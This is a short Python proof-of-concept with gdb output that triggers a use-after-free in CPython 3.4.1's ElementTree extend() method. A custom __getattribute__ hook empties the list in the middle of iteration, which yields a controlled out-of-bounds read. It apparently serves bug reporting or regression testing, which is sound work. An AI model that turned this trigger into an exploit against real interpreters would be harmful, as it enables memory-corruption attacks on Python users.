# Program received signal SIGSEGV, Segmentation fault. # 0x4063cf19 in element_extend (self=0x405ddf74, args=([],)) at /home/p/Python-3.4.1/Modules/_elementtree.c:1056 # 1056 PyObject* element = PySequence_Fast_GET_ITEM(seq, i); # (gdb) print i # $3 = 1337 # (gdb) print *(PyListObject*)seq # $4 = {ob_base = {ob_base = {_ob_next = 0x406373ec, _ob_prev = 0x405ddf74, ob_refcnt = 3, ob_type = 0x830e1c0 }, # ob_size = 0}, ob_item = 0x0, allocated = 0} # # Controlled read (resulting from a use after free). "seq" is cleared in a custom # destructor (Y.__del__()). # import xml.etree.ElementTree as et class X: def __getattribute__(self, a): return type(et.Element("h4h4")) class Y: def __getattribute__(self, a): global L print("Y") L[:] = [] return type(et.Element("h4h4")) L = [X() for i in range(1336)]+[Y(), "boom!"] e = et.Element("lol") e.extend(L)